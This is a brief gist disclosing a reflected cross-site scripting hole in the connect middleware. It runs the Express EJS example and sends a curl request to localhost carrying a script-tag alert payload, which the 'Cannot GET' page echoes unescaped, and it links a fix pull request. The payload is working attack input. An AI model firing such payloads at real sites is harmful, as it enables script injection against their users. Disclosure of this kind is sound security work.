connect XSS hole

gistfile1.md

Run a sample app

git clone https://github.com/visionmedia/express.git
cd express
npm install
node examples/ejs/index.js

Then try this

curl -v -k "http://localhost:3000/no5_such3_file7.pl?\"><script>alert(73541);</script>"

The server returns

Cannot GET /no5_such3_file7.pl?"><script>alert(73541);</script>

Here is the pull request for connect - senchalabs/connect#473